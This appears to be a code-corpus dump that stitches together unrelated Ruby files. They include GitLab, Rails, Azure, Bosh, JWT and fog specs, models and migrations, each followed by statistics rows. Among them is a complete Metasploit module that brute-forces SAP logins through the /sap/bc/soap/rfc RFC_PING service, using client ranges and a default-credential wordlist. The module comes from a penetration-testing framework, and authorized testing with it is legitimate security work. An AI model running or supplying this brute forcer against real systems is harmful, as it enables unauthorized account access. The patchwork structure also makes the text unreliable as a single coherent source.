.with_values(dismissal: 0, issue: 1, merge_request: 2)
.with_prefix(:for)
)
}
it { is_expected.to define_enum_for(:category) }
describe 'associations' do
it { is_expected.to belong_to(:project) }
it { is_expected.to belong_to(:author).class_name('User') }
it { is_expected.to belong_to(:comment_author).class_name('User') }
it { is_expected.to belong_to(:issue) }
it { is_expected.to belong_to(:merge_request) }
it { is_expected.to belong_to(:pipeline).class_name('Ci::Pipeline').with_foreign_key('pipeline_id') }
end
describe 'validations' do
it { is_expected.to validate_presence_of(:project) }
it { is_expected.to validate_presence_of(:author) }
it { is_expected.to validate_presence_of(:feedback_type) }
it { is_expected.to validate_presence_of(:category) }
it { is_expected.to validate_presence_of(:project_fingerprint) }
let_it_be(:project) { create(:project) }
context 'pipeline is nil' do
let(:feedback) { build(:vulnerability_feedback, project: project, pipeline_id: nil) }
it 'is valid' do
expect(feedback).to be_valid
end
end
context 'pipeline has the same project_id' do
let(:feedback) { build(:vulnerability_feedback, project: project) }
it 'is valid' do
expect(feedback.project_id).to eq(feedback.pipeline.project_id)
expect(feedback).to be_valid
end
end
context 'pipeline_id does not exist' do
let(:feedback) { build(:vulnerability_feedback, project: project, pipeline_id: -100) }
it 'is invalid' do
expect(feedback.project_id).not_to eq(feedback.pipeline_id)
expect(feedback).not_to be_valid
end
end
context 'pipeline has a different project_id' do
let(:pipeline) { create(:ci_pipeline, project: create(:project)) }
let(:feedback) { build(:vulnerability_feedback, project: project, pipeline: pipeline) }
it 'is invalid' do
expect(feedback.project_id).not_to eq(feedback.pipeline_id)
expect(feedback).not_to be_valid
end
end
context 'comment is set' do
let(:feedback) { build(:vulnerability_feedback, project: project, comment: 'a comment' ) }
it 'validates presence of comment_timestamp' do
expect(feedback).to validate_presence_of(:comment_timestamp)
end
it 'validates presence of comment_author' do
expect(feedback).to validate_presence_of(:comment_author)
end
end
end
describe '.with_category' do
it 'filters by category' do
described_class.categories.each do |category, _|
create(:vulnerability_feedback, category: category)
end
expect(described_class.count).to eq described_class.categories.length
expected, _ = described_class.categories.first
feedback = described_class.with_category(expected)
expect(feedback.length).to eq 1
expect(feedback.first.category).to eq expected
end
end
describe '.with_feedback_type' do
it 'filters by feedback_type' do
create(:vulnerability_feedback, :dismissal)
create(:vulnerability_feedback, :issue)
create(:vulnerability_feedback, :merge_request)
feedback = described_class.with_feedback_type('issue')
expect(feedback.length).to eq 1
expect(feedback.first.feedback_type).to eq 'issue'
end
end
# TODO remove once filtered data has been cleaned
describe '::only_valid_feedback' do
let(:project) { create(:project) }
let(:pipeline) { create(:ci_pipeline, project: project) }
let!(:feedback) { create(:vulnerability_feedback, :dismissal, :sast, project: project, pipeline: pipeline) }
let!(:invalid_feedback) do
feedback = build(:vulnerability_feedback, project: project, pipeline: create(:ci_pipeline))
feedback.save(validate: false)
end
it 'filters out invalid feedback' do
feedback_records = described_class.only_valid_feedback
expect(feedback_records.length).to eq 1
expect(feedback_records.first).to eq feedback
end
end
describe '#has_comment?' do
let_it_be(:project) { create(:project) }
let(:feedback) { build(:vulnerability_feedback, project: project, comment: comment, comment_author: comment_author) }
let(:comment) { 'a comment' }
let(:comment_author) { build(:user) }
subject { feedback.has_comment? }
context 'comment and comment_author are set' do
it { is_expected.to be_truthy }
end
context 'comment is set and comment_author is not' do
let(:comment_author) { nil }
it { is_expected.to be_falsy }
end
context 'comment and comment_author are not set' do
let(:comment) { nil }
let(:comment_author) { nil }
it { is_expected.to be_falsy }
end
end
describe '#find_or_init_for' do
let(:group) { create(:group) }
let(:project) { create(:project, :public, :repository, namespace: group) }
let(:user) { create(:user) }
let(:pipeline) { create(:ci_pipeline, project: project) }
let(:feedback_params) do
{
feedback_type: 'dismissal', pipeline_id: pipeline.id, category: 'sast',
project_fingerprint: '418291a26024a1445b23fe64de9380cdcdfd1fa8',
author: user,
vulnerability_data: {
category: 'sast',
priority: 'Low', line: '41',
file: 'subdir/src/main/java/com/gitlab/security_products/tests/App.java',
cve: '818bf5dacb291e15d9e6dc3c5ac32178:PREDICTABLE_RANDOM',
name: 'Predictable pseudorandom number generator',
description: 'Description of Predictable pseudorandom number generator',
tool: 'find_sec_bugs'
}
}
end
context 'when params are valid' do
subject(:feedback) { described_class.find_or_init_for(feedback_params) }
before do
feedback.project = project
end
it 'inits the feedback' do
is_expected.to be_new_record
end
it 'finds the existing feedback' do
feedback.save!
existing_feedback = described_class.find_or_init_for(feedback_params)
expect(existing_feedback).to eq(feedback)
end
context 'when attempting to save duplicate' do
it 'raises ActiveRecord::RecordInvalid' do
duplicate = described_class.find_or_init_for(feedback_params)
duplicate.project = project
feedback.save!
expect { duplicate.save! }.to raise_error(ActiveRecord::RecordInvalid)
end
end
end
context 'when params are invalid' do
it 'raises ArgumentError when given a bad feedback_type value' do
feedback_params[:feedback_type] = 'foo'
expect { described_class.find_or_init_for(feedback_params) }.to raise_error(ArgumentError, /feedback_type/)
end
it 'raises ArgumentError when given a bad category value' do
feedback_params[:category] = 'foo'
expect { described_class.find_or_init_for(feedback_params) }.to raise_error(ArgumentError, /category/)
end
end
end
describe '#occurrence_key' do
let(:project) { create(:project) }
let(:category) { 'sast' }
let(:project_fingerprint) { Digest::SHA1.hexdigest('foo') }
let(:feedback) { build(:vulnerability_feedback, project: project, category: category, project_fingerprint: project_fingerprint) }
subject { feedback.finding_key }
it { is_expected.to eq({ project_id: project.id, category: category, project_fingerprint: project_fingerprint }) }
end
end
| 32.205021 | 133 | 0.684423 |
266cd2bf9136aec60884f511821cde7be1ab0597 | 137 | require 'test_helper'
class FlashTeamsControllerTest < ActionController::TestCase
# test "the truth" do
# assert true
# end
end
| 17.125 | 59 | 0.737226 |
4af51af992ebeac7063af4986f95388fc9519152 | 2,397 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Network::Mgmt::V2017_03_01
module Models
#
# A web application firewall rule group.
#
class ApplicationGatewayFirewallRuleGroup
include MsRestAzure
# @return [String] The name of the web application firewall rule group.
attr_accessor :rule_group_name
# @return [String] The description of the web application firewall rule
# group.
attr_accessor :description
# @return [Array<ApplicationGatewayFirewallRule>] The rules of the web
# application firewall rule group.
attr_accessor :rules
#
# Mapper for ApplicationGatewayFirewallRuleGroup class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'ApplicationGatewayFirewallRuleGroup',
type: {
name: 'Composite',
class_name: 'ApplicationGatewayFirewallRuleGroup',
model_properties: {
rule_group_name: {
client_side_validation: true,
required: true,
serialized_name: 'ruleGroupName',
type: {
name: 'String'
}
},
description: {
client_side_validation: true,
required: false,
serialized_name: 'description',
type: {
name: 'String'
}
},
rules: {
client_side_validation: true,
required: true,
serialized_name: 'rules',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'ApplicationGatewayFirewallRuleElementType',
type: {
name: 'Composite',
class_name: 'ApplicationGatewayFirewallRule'
}
}
}
}
}
}
}
end
end
end
end
| 29.9625 | 83 | 0.521902 |
7af54960d1ed7623aadc963d13803f27c74a6b7e | 149 | json.array!(@bookmarks) do |bookmark|
json.extract! bookmark, :id, :title, :description, :url
json.url bookmark_url(bookmark, format: :json)
end
| 29.8 | 57 | 0.724832 |
280b2f9aa1f73fd3dcfe40dd9302515258570521 | 1,395 | require File.dirname(__FILE__) + '/support/setup'
class ReindexEverything < CloudCrowd::Action
def process
outcomes = {:succeeded=>[], :failed => []}
docs = Document.where({:id => input}).includes(:pages, :docdata)
ids = []
docs.find_each do |document|
counter = 0
begin
Sunspot.index(document)
document.pages.each{ |page| Sunspot.index(page) }
ids << document.id
rescue Exception => e
counter += 1
(sleep(0.25 * counter) and retry) if counter < 5
LifecycleMailer.exception_notification(e,options).deliver_now
outcomes[:failed].push(:id=>document.id)
end
end
Sunspot.commit
outcomes
end
def merge
# Upon completion email us a manifest of success/failure
successes = []
failures = []
input.each do |result|
successes += result["succeeded"]
failures += result["failed"]
end
duplicate_projects(successes) if options['projects']
data = {:successes => successes, :failures => failures}
LifecycleMailer.logging_email("Reindexing batch manifest", data).deliver_now
true
end
end
=begin
ids = Document.pluck(:id); ids.size
blocks = ids.each_slice(100).to_a; blocks.size
blocks.each_slice(10){ |block| RestClient.post ProcessingJob.endpoint, { job: { action: "reindex_everything", inputs: block }.to_json } }; ""
=end | 27.9 | 142 | 0.645161 |
793c437984083d926d63471ade6c7f41d84eecb9 | 194 | # frozen_string_literal: true
class AddHighlightedToProjects < ActiveRecord::Migration[5.2]
def change
add_column :projects, :highlighted, :boolean, null: false, default: false
end
end
| 24.25 | 77 | 0.768041 |
d576ae5ab70c2c8b9569269abb497dd509d5bc2c | 814 | class AddRabbitHost < ActiveRecord::Migration[5.1]
def up
return if HostGenome.find_by(name: "Rabbit")
hg = HostGenome.new
hg.name = "Rabbit"
hg.s3_star_index_path = "s3://idseq-database/host_filter/rabbit/2019-07-24/rabbit_STAR_genome.tar"
hg.s3_bowtie2_index_path = "s3://idseq-database/host_filter/rabbit/2019-07-24/rabbit_bowtie2_genome.tar"
human_host = HostGenome.find_by(name: "Human")
# For lack of a better default, use Human background.
# In the future, consider asking rabbit users to make a background model
# from their uninfected samples that we can substitute as the default.
hg.default_background_id = human_host.default_background_id if human_host
hg.save
end
def down
hg = HostGenome.find_by(name: "Rabbit")
hg.destroy if hg
end
end
| 35.391304 | 108 | 0.734644 |
1c4957064deeb0388d9dcc517622bee0cf693305 | 260 | class CreateWards < ActiveRecord::Migration[6.1]
def change
create_table :wards, id: :uuid do |t|
t.string :name
t.bigint :number
t.references :lsg_body, null: false, foreign_key: true, type: :uuid
t.timestamps
end
end
end
| 21.666667 | 73 | 0.65 |
e906e05a0cfe4a32ce33a3891ac6ac05c4dc6374 | 395 | # frozen_string_literal: true
module SeleniumPage
# Errors
class Errors
# UnexpectedSchemeAndAuthority
class UnexpectedSchemeAndAuthority < StandardError
def message
"Only 'String' are accepted"
end
end
# UnexpectedWaitTime
class UnexpectedWaitTime < StandardError
def message
"Only 'Numeric' are accepted"
end
end
end
end
| 18.809524 | 54 | 0.681013 |
e92b241466eb86d2d6c562116bb1f9a34146edc9 | 9,284 | require 'spec_helper'
describe Bosh::HuaweiCloud::FloatingIp do
let(:logger) { double('logger', info: nil) }
before(:each) {
allow(Bosh::Clouds::Config).to receive(:logger).and_return(logger)
}
let(:network) { double('network', get_server: nil, list_floating_ips: nil, associate_floating_ip: nil, disassociate_floating_ip: nil, get_port: nil, ports: nil) }
let(:compute) { double('compute', addresses: nil) }
let(:huaweicloud) { double('huaweicloud', use_nova_networking?: use_nova_networking, network: network, compute: compute) }
context 'when `use_nova_networking=false`' do
let(:use_nova_networking) { false }
let(:floating_ip_port_id) { 'old-server-port-id' }
let(:floating_ips_response) {
Struct.new(:body).new(
'floatingips' => floating_ips,
)
}
let(:floating_ips) {
[
{
'floating_network_id' => 'some-floating-network-id',
'router_id' => 'some-router-id',
'fixed_ip_address' => 'some-fixed-ip-address',
'floating_ip_address' => '1.2.3.4',
'tenant_id' => 'some-tenant-id',
'status' => 'some-status',
'port_id' => floating_ip_port_id,
'id' => 'floating-ip-id',
},
]
}
let(:get_port_response) {
Struct.new(:body).new(
'port' => port,
)
}
let(:port_device_id) { nil }
let(:port) {
{
'device_id' => port_device_id,
} }
before(:each) {
allow(network).to receive(:get_port).with(floating_ip_port_id).and_return(get_port_response)
}
let(:old_server) { {} }
let(:get_server_response) {
Struct.new(:body).new(
'server' => old_server,
)
}
before(:each) {
allow(compute).to receive(:get_server_details).and_return(get_server_response)
}
let(:port_collection) { double('Fog::Network::HuaweiCloud::Ports', all: [port_model]) }
let(:port_model) { double('Fog::Network::HuaweiCloud::Port', id: 'port-id') }
before(:each) {
allow(network).to receive(:ports).and_return(port_collection)
}
describe '.port_attached?' do
context 'when the floating_ip port_id is nil' do
let(:floating_ip) {
{
'port_id' => nil,
}
}
it 'returns false' do
expect(Bosh::HuaweiCloud::FloatingIp.port_attached?(floating_ip)).to be false
end
end
context 'when the floating_ip port_id is empty' do
let(:floating_ip) {
{
'port_id' => '',
}
}
it 'returns false' do
expect(Bosh::HuaweiCloud::FloatingIp.port_attached?(floating_ip)).to be false
end
end
context 'when the floating_ip port_id is non-empty' do
let(:floating_ip) {
{
'port_id' => floating_ip_port_id,
}
}
it 'returns true' do
expect(Bosh::HuaweiCloud::FloatingIp.port_attached?(floating_ip)).to be true
end
end
end
describe '.reassociate' do
before(:each) {
allow(network).to receive(:list_floating_ips).with('floating_ip_address' => '1.2.3.4').and_return(floating_ips_response)
}
let(:server) {
Struct.new(:id, :name).new('server-id', 'server-name')
}
context 'when the floating ip is already associated with a port' do
let(:port_device_id) { old_server['id'] }
let(:old_server) {
{
'id' => 'old-server-id',
'name' => 'old-server',
}
}
it 'disassociates the floating ip and associates it with the given server' do
Bosh::HuaweiCloud::FloatingIp.reassociate(huaweicloud, '1.2.3.4', server, 'network-id')
expect(network).to have_received(:list_floating_ips).with('floating_ip_address' => '1.2.3.4')
expect(network).to have_received(:disassociate_floating_ip).with('floating-ip-id')
expect(logger).to have_received(:info).with("Disassociating floating IP '1.2.3.4' from server 'old-server (old-server-id)'")
expect(port_collection).to have_received(:all).with(device_id: 'server-id', network_id: 'network-id')
expect(logger).to have_received(:info).with("Associating floating IP '1.2.3.4' with server 'server-name (server-id)'")
expect(network).to have_received(:associate_floating_ip).with('floating-ip-id', 'port-id')
end
end
context 'when the floating ip is not associated with a port' do
let(:floating_ip_port_id) { nil }
it 'assigns the given floating ip to the given server' do
Bosh::HuaweiCloud::FloatingIp.reassociate(huaweicloud, '1.2.3.4', server, 'network-id')
expect(network).to have_received(:list_floating_ips).with('floating_ip_address' => '1.2.3.4')
expect(port_collection).to have_received(:all).with(device_id: 'server-id', network_id: 'network-id')
expect(network).to have_received(:associate_floating_ip).with('floating-ip-id', 'port-id')
end
context 'when multiple ports are connected to the external network' do
before(:each) do
allow(port_collection).to receive(:all).and_return([double('other_port', id: 'other-port-id'), port_model])
end
it 'assigns the given floating ip to the first port' do
Bosh::HuaweiCloud::FloatingIp.reassociate(huaweicloud, '1.2.3.4', server, 'network-id')
expect(network).to have_received(:list_floating_ips).with('floating_ip_address' => '1.2.3.4')
expect(port_collection).to have_received(:all).with(device_id: 'server-id', network_id: 'network-id')
expect(network).to have_received(:associate_floating_ip).with('floating-ip-id', 'other-port-id')
end
end
end
context "huaweicloud doesn't find the given floating ip" do
let(:floating_ips) { [] }
it 'raises a cloud error' do
expect {
Bosh::HuaweiCloud::FloatingIp.reassociate(huaweicloud, '1.2.3.4', server, 'network-id')
}.to raise_error Bosh::Clouds::CloudError, "Floating IP '1.2.3.4' not allocated"
end
end
context 'huaweicloud finds the given floating ip more than once' do
let(:floating_ips) { [{ 'floating_network_id' => 'id1' }, { 'floating_network_id' => 'id2' }] }
it 'raises a cloud error' do
expect {
Bosh::HuaweiCloud::FloatingIp.reassociate(huaweicloud, '1.2.3.4', server, 'network-id')
}.to raise_error Bosh::Clouds::CloudError, "Floating IP '1.2.3.4' found in multiple networks: 'id1', 'id2'"
end
end
context 'server has no port in the given network' do
before(:each) do
allow(port_collection).to receive(:all).and_return([])
end
it 'raises a cloud error' do
expect {
Bosh::HuaweiCloud::FloatingIp.reassociate(huaweicloud, '1.2.3.4', server, 'network-id-not-matching-the-port')
}.to raise_error Bosh::Clouds::CloudError, "Server has no port in network 'network-id-not-matching-the-port'"
end
end
end
end
context 'when `use_nova_networking=true`' do
let(:use_nova_networking) { true }
describe '.reassociate' do
let(:server) {
Struct.new(:id, :name).new('server-id', 'server-name')
}
before(:each) do
allow(compute).to receive(:addresses).and_return([address])
end
let(:server) { double('server', id: 'i-test') }
context 'ip already associated with an instance' do
let(:address) do
double('address', :server= => nil, :id => 'network_b', :ip => '1.2.3.4', :instance_id => 'old-instance-id')
end
it 'adds floating ip to the server for vip network' do
Bosh::HuaweiCloud::FloatingIp.reassociate(huaweicloud, '1.2.3.4', server, 'network-id')
expect(logger).to have_received(:info).with("Disassociating floating IP '1.2.3.4' from server 'old-instance-id'")
expect(address).to have_received(:server=).with(nil)
expect(logger).to have_received(:info).with("Associating floating IP '1.2.3.4' with server 'i-test'")
expect(address).to have_received(:server=).with(server)
end
end
context 'ip not already associated with an instance' do
let(:address) do
double('address', :server= => nil, :id => 'network_b', :ip => '1.2.3.4', :instance_id => nil)
end
it 'adds free floating ip to the server for vip network' do
Bosh::HuaweiCloud::FloatingIp.reassociate(huaweicloud, '1.2.3.4', server, 'network-id')
expect(address).to_not have_received(:server=).with(nil)
expect(address).to have_received(:server=).with(server)
end
end
context 'no floating IP allocated for vip network' do
let(:address) do
double('address', :server= => nil, :id => 'network_b', :ip => '10.0.0.2')
end
it 'fails' do
expect {
Bosh::HuaweiCloud::FloatingIp.reassociate(huaweicloud, '1.2.3.4', server, 'network-id')
}.to raise_error Bosh::Clouds::CloudError, /Floating IP .* not allocated/
end
end
end
end
end
| 36.695652 | 164 | 0.609866 |
5d60a29f47dda05ae1facc0c2687f6b5d9281d90 | 1,845 | module Fog
module Vsphere
class Compute
class Real
def create_resource_pool(attributes = {})
cluster = get_raw_cluster(attributes[:cluster], attributes[:datacenter])
root_resource_pool = if attributes[:root_resource_pool_name]
cluster.resourcePool.find attributes[:root_resource_pool_name].gsub('/', '%2f')
else
cluster.resourcePool
end
raise ArgumentError, 'Root resource pool could not be found' if root_resource_pool.nil?
resource_pool = root_resource_pool.CreateResourcePool(
name: attributes[:name],
spec: get_resource_pool_spec(attributes)
)
resource_pool_attributes(resource_pool, attributes[:cluster], attributes[:datacenter])
end
private
def get_resource_pool_spec(attributes = {})
RbVmomi::VIM.ResourceConfigSpec(
cpuAllocation: get_resource_pool_allocation_spec(attributes.fetch(:cpu, {})),
memoryAllocation: get_resource_pool_allocation_spec(attributes.fetch(:memory, {}))
)
end
def get_resource_pool_allocation_spec(attributes = {})
RbVmomi::VIM.ResourceAllocationInfo(
reservation: attributes.fetch(:reservation, 0),
limit: attributes.fetch(:limit, -1),
expandableReservation: attributes.fetch(:expandable_reservation, false),
shares: RbVmomi::VIM.SharesInfo(
level: RbVmomi::VIM.SharesLevel(attributes.fetch(:shares_level, 'normal')),
shares: attributes.fetch(:shares, 0)
)
)
end
end
class Mock
def create_resource_pool(attributes = {}); end
end
end
end
end
| 35.480769 | 112 | 0.604878 |
088ab71b326fec751e9ef99c8b1eb5d368b8892e | 78 | module Synthesizer
module Quality
HIGH = :High
LOW = :Low
end
end
| 11.142857 | 18 | 0.641026 |
b9778ec972c8ef60e673014fc7fb02b5ba6a6da3 | 1,387 | class CreateVendorProductTriggers < ActiveRecord::Migration[5.2]
def up
execute <<-SQL
CREATE OR REPLACE FUNCTION vendor_product_matches_updated_function()
RETURNS TRIGGER AS $$
BEGIN
UPDATE products_list
SET match_error_count = (
SELECT count(*)
FROM vendor_product_matches
WHERE vendor_product_matches.vendor_id = NEW.vendor_id
AND vendor_product_matches.product_id = NEW.product_id
AND vendor_product_matches.matched IS FALSE
AND vendor_product_matches.deleted_at IS NULL
),
updated_at = now()
WHERE products_list.vendor_id = NEW.vendor_id
AND products_list.sku = NEW.product_id
AND products_list.deleted_at IS NULL;
RETURN NEW;
END
$$ LANGUAGE plpgsql;
CREATE TRIGGER vendor_product_matches_updated_trigger
AFTER INSERT OR UPDATE ON vendor_product_matches
FOR EACH ROW
EXECUTE PROCEDURE vendor_product_matches_updated_function();
SQL
Dispersal.find_each { |d| d.update updated_at: Time.zone.now }
end
def down
execute <<-SQL
DROP TRIGGER IF EXISTS vendor_product_matches_updated_trigger
ON vendor_product_matches;
DROP FUNCTION vendor_product_matches_updated_function
SQL
end
end
| 32.255814 | 74 | 0.66186 |
612fb133e9ec77bc4bce8d7ac702f0d5cca15c2c | 854 | #
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html.
# Run `pod lib lint soundpool.podspec' to validate before publishing.
#
Pod::Spec.new do |s|
s.name = 'soundpool'
s.version = '1.0.1'
s.summary = 'No-op implementation of soundpool MacOS plugin to avoid build issues on MacOS'
s.description = <<-DESC
temp fake soundpool plugin
DESC
s.homepage = 'https://github.com/ukasz123/soundpool/tree/master/soundpool'
s.license = { :file => '../LICENSE' }
s.author = { 'Your Company' => '[email protected]' }
s.source = { :path => '.' }
s.source_files = 'Classes/**/*'
s.dependency 'FlutterMacOS'
s.platform = :osx, '10.11'
s.pod_target_xcconfig = { 'DEFINES_MODULE' => 'YES' }
s.swift_version = '5.0'
end
| 37.130435 | 102 | 0.599532 |
f88e2134c0819eb565e43f49235b5bd05b9bfbc1 | 5,457 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy. I'd also like to thank Chris John Riley,
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
##
require 'msf/core'
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute
def initialize
super(
'Name' => 'SAP /sap/bc/soap/rfc SOAP Service RFC_PING Login Brute Forcer',
'Description' => %q{
This module attempts to brute force SAP username and passwords through the
/sap/bc/soap/rfc SOAP service, using RFC_PING function. Default clients can be
tested without needing to set a CLIENT. Common/Default user and password
combinations can be tested just setting DEFAULT_CRED variable to true. These
default combinations are stored in MSF_DATA_DIRECTORY/wordlists/sap_default.txt.
},
'References' =>
[
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
],
'Author' =>
[
'Agnivesh Sathasivam',
'nmonkee'
],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(8000),
OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true])
], self.class)
end
def run_host(ip)
if datastore['CLIENT'].nil?
print_status("Using default SAP client list")
client = ['000', '001', '066']
else
client = []
if datastore['CLIENT'] =~ /^\d{3},/
client = datastore['CLIENT'].split(/,/)
print_status("Brute forcing clients #{datastore['CLIENT']}")
elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/
array = datastore['CLIENT'].split(/-/)
client = (array.at(0)..array.at(1)).to_a
print_status("Brute forcing clients #{datastore['CLIENT']}")
elsif datastore['CLIENT'] =~ /^\d{3}\z/
client.push(datastore['CLIENT'])
print_status("Brute forcing client #{datastore['CLIENT']}")
else
print_status("Invalid CLIENT - using default SAP client list instead")
client = ['000', '001', '066']
end
end
saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default,
'Header' => "[SAP] Credentials",
'Prefix' => "\n",
'Postfix' => "\n",
'Indent' => 1,
'Columns' =>
[
"host",
"port",
"client",
"user",
"pass"
])
if datastore['DEFAULT_CRED']
credentials = extract_word_pair(Msf::Config.data_directory + '/wordlists/sap_default.txt')
credentials.each do |u, p|
client.each do |cli|
success = bruteforce(u, p, cli)
if success
saptbl << [ rhost, rport, cli, u, p]
end
end
end
end
each_user_pass do |u, p|
client.each do |cli|
success = bruteforce(u, p, cli)
if success
saptbl << [ rhost, rport, cli, u, p]
end
end
end
print(saptbl.to_s)
end
def bruteforce(username,password,client)
data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
data << '<env:Body>'
data << '<n1:RFC_PING xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
data << '</n1:RFC_PING>'
data << '</env:Body>'
data << '</env:Envelope>'
begin
res = send_request_cgi({
'uri' => '/sap/bc/soap/rfc?sap-client=' + client + '&sap-language=EN',
'method' => 'POST',
'data' => data,
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + client,
'ctype' => 'text/xml; charset=UTF-8',
'authorization' => basic_auth(username, password),
'headers' =>
{
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
}
})
if res and res.code == 200
report_auth_info(
:host => rhost,
:port => rport,
:sname => "sap",
:proto => "tcp",
:user => "#{username}",
:pass => "#{password}",
:proof => "SAP Client: #{client}",
:active => true
)
return true
end
rescue ::Rex::ConnectionError
print_error("[SAP] #{rhost}:#{rport} - Unable to connect")
return false
end
return false
end
end
| 35.435065 | 181 | 0.599597 |
6aea9962b5867924373b2f1a03f58c8a1dead4a2 | 2,357 | # frozen_string_literal: true
require "immigrant"
Immigrant.ignore_keys = [
# Add FK to column file_number in veterans table
{ from_table: "available_hearing_locations", column: "veteran_file_number" },
# Add FK to legacy_appeals
{ from_table: "worksheet_issues", column: "appeal_id" },
# Add FK to dispatch_tasks table (not the tasks table)
{ from_table: "claim_establishments", column: "task_id" },
# Investigate these next and add foreign key if possible.
{ from_table: "advance_on_docket_motions", column: "person_id" },
{ from_table: "ramp_issues", column: "source_issue_id" },
{ from_table: "remand_reasons", column: "decision_issue_id" },
{ from_table: "certification_cancellations", column: "certification_id" },
# The documents table is extremely large -- investigate these later
{ from_table: "annotations", column: "document_id" },
{ from_table: "document_views", column: "document_id" },
{ from_table: "documents_tags", column: "document_id" },
{ from_table: "documents_tags", column: "tag_id" },
# The ForeignKeyPolymorphicAssociationJob checks for orphaned records for these polymorphic associations:
{ from_table: "sent_hearing_email_events", column: "hearing_id" },
{ from_table: "hearing_email_recipients", column: "hearing_id" },
{ from_table: "special_issue_lists", column: "appeal_id" },
{ from_table: "tasks", column: "appeal_id" },
{ from_table: "vbms_uploaded_documents", column: "appeal_id" },
# claimants.participant_id to persons table # Not polymorphic but will be checked by job
# Refers to the tasks table for AMA appeals, but something like `4107503-2021-05-31` for legacy appeals
# Search for `review_class.complete(params)` in our code to see where task_id is set.
# Possible solution: Create new column for VACOLS task ID, copy VACOLS non-integer strings to new column,
# update the code to read and assign VACOLS strings to new column,
# delete the VACOLS string from `task_id` column, convert `task_id` to a `bigint` column,
# and then add the FK for `task_id`.
{ from_table: "judge_case_reviews", column: "task_id" },
{ from_table: "attorney_case_reviews", column: "task_id" },
# Don't need FKs on a cache table
{ from_table: "cached_appeal_attributes", column: "appeal_id" },
{ from_table: "cached_appeal_attributes", column: "vacols_id" }
]
| 49.104167 | 107 | 0.735257 |
1aaded4e3880fb0a28f03aed9300459bf7779264 | 75 | module Puppet
module ResourceApi
VERSION = '1.8.10'.freeze
end
end
| 12.5 | 29 | 0.693333 |
e2908879ebe837fb0bcb8a67097d8ed85aed7b7b | 2,018 | # frozen_string_literal: true
RSpec.describe JWT::ClaimsValidator do
let(:validator) { described_class.new(claims) }
describe '#validate!' do
subject { validator.validate! }
shared_examples_for 'a NumericDate claim' do |claim|
context "when #{claim} payload is an integer" do
let(:claims) { { claim => 12345 } }
it 'does not raise error' do
expect { subject }.not_to raise_error
end
context 'and key is a string' do
let(:claims) { { claim.to_s => 43.32 } }
it 'does not raise error' do
expect { subject }.not_to raise_error
end
end
end
context "when #{claim} payload is a float" do
let(:claims) { { claim => 43.32 } }
it 'does not raise error' do
expect { subject }.not_to raise_error
end
end
context "when #{claim} payload is a string" do
let(:claims) { { claim => '1' } }
it 'raises error' do
expect { subject }.to raise_error JWT::InvalidPayload
end
context 'and key is a string' do
let(:claims) { { claim.to_s => '1' } }
it 'raises error' do
expect { subject }.to raise_error JWT::InvalidPayload
end
end
end
context "when #{claim} payload is a Time object" do
let(:claims) { { claim => Time.now } }
it 'raises error' do
expect { subject }.to raise_error JWT::InvalidPayload
end
end
context "when #{claim} payload is a string" do
let(:claims) { { claim => '1' } }
it 'raises error' do
expect { subject }.to raise_error JWT::InvalidPayload
end
end
end
context 'exp claim' do
it_should_behave_like 'a NumericDate claim', :exp
end
context 'iat claim' do
it_should_behave_like 'a NumericDate claim', :iat
end
context 'nbf claim' do
it_should_behave_like 'a NumericDate claim', :nbf
end
end
end
| 25.225 | 65 | 0.569871 |
61157cc56e0836728e143b17e64378d2fe82a8ce | 3,029 | require 'test_helper'
class JsonSimilarityControllerTest < ActionDispatch::IntegrationTest
include JsonSimilarityHelper
test "should raise an error for invalid json input" do
hash1 = [] # Array instead of Hash
hash2 = [] # Array instead of Hash
assert_raises RuntimeError do
compare_hashes(hash1, hash2)
end
end
test "should not raise an error for valid json input" do
hash1 = {}
hash2 = {}
@matched_values = 0
@unmatched_values = 0
assert_nothing_raised do
compare_hashes(hash1, hash2)
end
end
test "should raise an error for stringified json" do
hash1 = '{"widget": {
"debug": "on",
"window": {
"title": "Sample Konfabulator Widget",
"name": "main_window",
"width": 500,
"height": 500
}
}'
hash2 = '{"widget": {
"debug": "on",
"window": {
"title": "Sample Konfabulator Widget",
"name": "main_window",
"width": 500,
"height": 500
}
}'
@matched_values = 0
@unmatched_values = 0
assert_raises RuntimeError do
compare_hashes(hash1, hash2)
end
end
test "should return 1 for completely identical json" do
hash1 = {"widget": {
"debug": "on",
"window": {
"title": "Sample Konfabulator Widget",
"name": "main_window",
"width": 500,
"height": 500
}
}}
hash2 = {"widget": {
"debug": "on",
"window": {
"title": "Sample Konfabulator Widget",
"name": "main_window",
"width": 500,
"height": 500
}
}}
@matched_values = 0
